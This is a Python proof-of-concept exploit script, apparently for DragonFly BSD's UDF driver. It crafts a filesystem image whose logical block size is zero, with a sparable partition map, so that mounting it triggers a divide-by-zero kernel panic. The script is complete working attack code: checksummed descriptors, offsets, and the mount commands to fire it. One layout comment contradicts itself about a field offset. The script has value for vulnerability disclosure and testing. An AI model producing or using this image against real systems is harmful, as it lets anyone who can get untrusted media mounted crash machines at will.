#!/usr/bin/env python3
"""
DF-0883 PoC: Craft a UDF image whose Logical Volume Descriptor declares
lb_size=0 (logical block size), triggering a divide-by-zero (#DE) kernel
panic at mount time.

Bug: sys/vfs/udf/udf_vfsops.c
  306:  udfmp->bsize = lvd->lb_size;           // lb_size from disk, UNVALIDATED
  307:  udfmp->bmask = udfmp->bsize - 1;        // bsize=0 => bmask=0xFFFFFFFF
  308:  udfmp->bshift = ffs(udfmp->bsize) - 1;  // bsize=0 => ffs(0)=0, bshift=-1
  ...
  667:  udfmp->p_sectors = pms->packet_len / udfmp->bsize;  // #DE divide-by-zero

The LVD's lb_size field (ECMA-167 [3/10.6]) is a uint32_t at offset 212 in the
on-disk Logical Volume Descriptor.  The kernel copies it verbatim into
udfmp->bsize and immediately uses it as a divisor in udf_find_partmaps() when
a Type 2 Sparable Partition Map is present.

This image sets lb_size=0 and includes a Type 2 Sparable Partition Map with
packet_len=2048 (non-zero), so the division 2048/0 fires a #DE trap in kernel
mode => deterministic kernel panic.

Usage:  python3 craft_evil_udf.py [evil.udf]
Mount:  vnconfig -c vn0 evil.udf ; mount -t udf -o rdonly /dev/vn0 /mnt
"""
import struct, sys

SECTOR = 2048
LB_SIZE = 0          # *** BUG TRIGGER *** — divide-by-zero at udf_vfsops.c:667
PACKET_LEN = 2048    # non-zero dividend so the division executes
NSEC = 300            # 614400-byte image (sectors 0..299)

def tag(tid, loc, serial=0):
    """Build a 16-byte ECMA-167 descriptor tag with correct additive checksum.

    udf_checktag() computes: cksum = sum(bytes[0..14]) - bytes[4], and
    requires cksum == tag->cksum (bytes[4]).  Setting byte4=0 then
    byte4 = sum(bytes[0..14] with byte4=0) satisfies this.
    """
    t = bytearray(16)
    struct.pack_into('<HHBBHHHI', t, 0, tid, 2, 0, 0, serial, 0, 0, loc)
    t[4] = 0
    t[4] = sum(t[0:15]) & 0xff
    return bytes(t)

def regid(s):
    """32-byte regid: flags(1) + id[23] + suffix[8]."""
    r = bytearray(32)
    b = s.encode('ascii')[:23]
    r[1:1+len(b)] = b
    return bytes(r)

img = bytearray(NSEC * SECTOR)

# ---- Sector 256: Anchor Volume Descriptor Pointer (TAGID_ANCHOR = 2) ----
# Points main VDS at sector 0, length 8192 (4 sectors => scans 0..3).
av = bytearray(SECTOR)
av[0:16] = tag(2, 256)
# extent_ad is {uint32 len; uint32 loc} — len first, loc second.
struct.pack_into('<II', av, 16, 8192, 0)     # main_vds_ex:    len=8192, loc=0
struct.pack_into('<II', av, 24, 8192, 0)     # reserve_vds_ex: len=8192, loc=0
img[256*SECTOR:257*SECTOR] = av

# ---- Sector 0: Logical Volume Descriptor (TAGID_LOGVOL = 6) ----
# Layout of struct logvol_desc (__packed):
#   0:   desc_tag        (16 bytes)
#   16:  seq_num         (uint32)
#   20:  desc_charset    (charspec: 1+63 = 64 bytes)
#   84:  logvol_id[128]
#   212: lb_size         (uint32)  *** BUG TRIGGER ***
#   216: domain_id       (regid 32 bytes)
#   248: _lvd_use.fsd_loc (long_ad: 16 bytes)
#   264: mt_l            (uint32)  partition-map length
#   268: n_pm            (uint32)  number of partition maps
#   272: imp_id          (regid 32 bytes)
#   304: imp_use[128]
#   432: integrity_seq_id (extent_ad 8 bytes)
#   440: maps[]          (partition maps, 64 bytes each)
lv = bytearray(SECTOR)
lv[0:16] = tag(6, 0)                              # TAGID_LOGVOL
struct.pack_into('<I',  lv, 16, 0)                 # seq_num
# desc_charset @20: type=0, inf="OSTA Compressed Unicode"
osta = b'\x00OSTA Compressed Unicode'
lv[21:21+len(osta)] = osta[:63]
# logvol_id[128] @84 zeroed
struct.pack_into('<I',  lv, 212, LB_SIZE)          # *** lb_size = 0 ***
lv[216:216+32] = regid('*OSTA UDF Compliant')     # domain_id
# _lvd_use.fsd_loc @248: long_ad{len, lb_num, part_num, ...} — point to sector 32
struct.pack_into('<IHH', lv, 248, SECTOR, 0, 0)    # FSD at part_start+0
struct.pack_into('<I',  lv, 264, 64)               # mt_l = 64 (one 64-byte map)
struct.pack_into('<I',  lv, 268, 1)                # n_pm = 1
lv[272:272+32] = regid('DragonFly BSD')            # imp_id
# imp_use[128] @304 zeroed
struct.pack_into('<II', lv, 432, SECTOR, 280)      # integrity seq

# ---- Partition map @440: Type 2 Sparable ----
# struct part_map_spare (__packed):
#   0:  type    (uint8)  = 2
#   1:  len     (uint8)  = UDF_PMAP_SIZE (64)
#   2:  reserved[2]
#   4:  id      (regid 32 bytes)  = "*UDF Sparable Partition"
#   36: vol_seq_num (uint16)
#   38: part_num    (uint16)
#   40: packet_len  (uint32)  *** non-zero => division executes ***
#   44: n_st        (uint8)
#   45: reserved    (uint8)
#   46: st_size?    — actually st_size @44 per kernel struct, see below
P = 440
lv[P]     = 2                                    # type  = 2 (Type 2)
lv[P+1]   = 64                                   # len   = UDF_PMAP_SIZE
lv[P+4:P+4+32] = regid('*UDF Sparable Partition')
struct.pack_into('<H', lv, P+36, 0)              # vol_seq_num
struct.pack_into('<H', lv, P+38, 0)              # part_num   = 0
struct.pack_into('<I', lv, P+40, PACKET_LEN)     # packet_len = 2048 *** non-zero ***
lv[P+44]  = 0                                    # n_st = 0 (no sparing tables needed)
struct.pack_into('<I', lv, P+46, 0)              # st_size = 0 (won't be reached)
struct.pack_into('<I', lv, P+50, 0)              # st_loc[0]
img[0:SECTOR] = lv

out = sys.argv[1] if len(sys.argv) > 1 else 'evil.udf'
with open(out, 'wb') as f:
    f.write(img)

print(f"[+] wrote {out} ({len(img)} bytes)")
print(f"[+] LVD @sector 0: lb_size={LB_SIZE}  (BUG TRIGGER: divide-by-zero)")
print(f"[+] Type 2 Sparable partition map: packet_len={PACKET_LEN}")
print(f"[+] panic site: udf_vfsops.c:667  p_sectors = packet_len / bsize")
print(f"[+]                 = {PACKET_LEN} / {LB_SIZE}  => #DE trap")
